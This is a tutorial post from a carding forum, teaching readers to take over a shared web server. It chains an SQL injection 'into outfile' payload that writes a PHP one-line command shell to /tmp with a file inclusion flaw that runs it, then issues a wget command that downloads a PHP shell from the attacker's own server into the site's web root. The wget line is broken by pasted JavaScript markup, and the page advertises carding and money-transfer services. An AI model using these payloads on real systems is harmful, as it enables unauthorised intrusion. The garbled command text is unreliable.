We are closing registration and public forum view to Paid & Private in 16 days! CLICK HERE to register FREE.
Create an account  

For users privacy, our last domains: CarderHack.com and OmertaHack.net are moved to CardingTeam.ws

Deposit & Withdraw | About Verified Sellers and Escrow | Advertise | Scam Report | Tracking Number Details | ICQ: 717039384

carding forums carding forums
carding forums carding forums
carding forums Paid adv expire in 48 days
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[BASICS] ►► Shelling Servers Via Storage Method ◄◄

[0x01] Storage Method:
Okay so I'm about to explain a very nifty and important way to own a server that your targeting. This is something most young hackers never think of doing but can be very handy when a server is hosting multiple sites. Lets say you target a server, you do a reverse IP lookup to see how many sites are hosted. The more sites, the better your chances of getting into the server. So the server ends up having 5 sites on it. After looking around for vulnerabilities on all 5 sites you find 1 site is vuln to SQLI and another is vuln to LFI.

[0x02] The Attack:
Okay so of course most hackers will take the SQLi to gain the admin credentials and try to log in because its faster than LFI sometimes if /proc/self/environ isnt present on the LFI vulnerable site. So we do everything write but when we try to log in the credentials that we extracted from the DB was outdated and misleading. So now what? Give up? NOOOOOO!

[0x03] Attack 1:
So if we have the right privileges in the SQLi with our current user we could possibly write files to the server through the SQLi. So we are going to add a file to a write able directory, usually the "temp" directory is write able so we are going to write a one line shell that will let us run commands over the server. Just like a php shell but smaller and used through the url with no interface.

https://www.sqlivuln.com/index.php?ID=-1 union select '<?system($_GET[cmd])?>',2,3,4,5 into outfile "/tmp/cmd.txt"--

* Here we just use the into outfile to write cmd.txt which is our shell to the tmp directory which is write able. Just your normal sqli, 5 columns, 1st column is used to retrieve data just like you would when getting your version() and just adding into outfile "/tmp/cmd.txt" to the end of your syntax. Now our shell is created and we use the $cmd variable to $GET our commands. Will explain in next attack.

[0x04] Attack 2:
Now that we have our file on the server lets go back to our LFI vuln site on the same server and read cmd.txt and try to execute a command and hopefully get a shell up. This step is easy.

[*] Typical LFI Vuln:

[*] Reading CMD.txt by leveraging LFI vuln:

[*] Running command on CMD.txt by leveraging LFI vuln:
https://www.lfivuln.com/index.php?file=../tmp/cmd.txt&cmd=wget https://www.des@zent.com<span class="pln"><br /></span><span class="com">/* &nbsp;*/</span><span class="pln"><br /></span><span class="pun">(</span><span class="kwd">function</span><span class="pun">(){</span><span class="kwd">try</span><span class="pun">{</span><span class="kwd">var</span><span class="pln"> s</span><span class="pun">,</span><span class="pln">a</span><span class="pun">,</span><span class="pln">i</span><span class="pun">,</span><span class="pln">j</span><span class="pun">,</span><span class="pln">r</span><span class="pun">,</span><span class="pln">c</span><span class="pun">,</span><span class="pln">l</span><span class="pun">,</span><span class="pln">b</span><span class="pun">=</span><span class="pln">document</span><span class="pun">.</span><span class="pln">getElementsByTagName</span><span class="pun">(</span><span class="str">"script"</span><span class="pun">);</span><span class="pln">l</span><span class="pun">=</span><span class="pln">b</span><span class="pun">[</span><span class="pln">b</span><span class="pun">.</span><span class="pln">length</span><span class="pun">-</span><span class="lit">1</span><span class="pun">].</span><span class="pln">previousSibling</span><span class="pun">;</span><span class="pln">a</span><span class="pun">=</span><span class="pln">l</span><span class="pun">.</span><span class="pln">getAttribute</span><span class="pun">(</span><span class="str">'data-cfemail'</span><span class="pun">);</span><span class="kwd">if</span><span class="pun">(</span><span class="pln">a</span><span class="pun">){</span><span class="pln">s</span><span class="pun">=</span><span class="str">''</span><span class="pun">;</span><span class="pln">r</span><span class="pun">=</span><span class="pln">parseInt</span><span class="pun">(</span><span class="pln">a</span><span class="pun">.</span><span class="pln">substr</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="lit">2</span><span class="pun">),</span><span class="lit">16</span><span class="pun">);</span><span class="kwd">for</span><span class="pun">(</span><span class="pln">j</span><span class="pun">=</span><span class="lit">2</span><span class="pun">;</span><span class="pln">a</span><span class="pun">.</span><span class="pln">length</span><span class="pun">-</span><span class="pln">j</span><span class="pun">;</span><span class="pln">j</span><span class="pun">+=</span><span class="lit">2</span><span class="pun">){</span><span class="pln">c</span><span class="pun">=</span><span class="pln">parseInt</span><span class="pun">(</span><span class="pln">a</span><span class="pun">.</span><span class="pln">substr</span><span class="pun">(</span><span class="pln">j</span><span class="pun">,</span><span class="lit">2</span><span class="pun">),</span><span class="lit">16</span><span class="pun">)^</span><span class="pln">r</span><span class="pun">;</span><span class="pln">s</span><span class="pun">+=</span><span class="typ">String</span><span class="pun">.</span><span class="pln">fromCharCode</span><span class="pun">(</span><span class="pln">c</span><span class="pun">);}</span><span class="pln">s</span><span class="pun">=</span><span class="pln">document</span><span class="pun">.</span><span class="pln">createTextNode</span><span class="pun">(</span><span class="pln">s</span><span class="pun">);</span><span class="pln">l</span><span class="pun">.</span><span class="pln">parentNode</span><span class="pun">.</span><span class="pln">replaceChild</span><span class="pun">(</span><span class="pln">s</span><span class="pun">,</span><span class="pln">l</span><span class="pun">);}}</span><span class="kwd">catch</span><span class="pun">(</span><span class="pln">e</span><span class="pun">){}})();</span><span class="pln"><br /></span><span class="com">/* &nbsp;*/</span><span class="pln"><br /></span>/myshell.txt -O /full-path-of-site/public_html/shell.php

(This will execute the $cmd variable in cmd.txt to run the wget command which will download a text file from my server, which is just a php shell with the .txt extension and the -O /full-path-of-site/public_html/shell.php command will rename the file to shell.php and of course you must find the full path of the server so that you can download your shell to a directory that we can open our shell up through the browser. "Hosting Directory in short terms")

[*] Opening shell.

(I uploaded the shell using the lfi vuln site so the shell clearly is going to be hosted in the root directory or "hosting directory" of the lfi vuln site where I saved it.)

[0x05] Conclusion:
Hope you guys enjoyed my thread, also I'm not perfect, if I made mistakes or anything in the Tutorial please let me know and Ill edit the thread. Or if you have anything to add to the thread that could better it, please share. Wouldn't mind learning something new Wink
Paid adv. expire in 31 days
CLICK to buy Advertisement !

    Verified & Trusted WesternUnion / MoneyGram / Bank - Transferring -WorldWide [ MTCN in 3 hours ]

Forum Jump: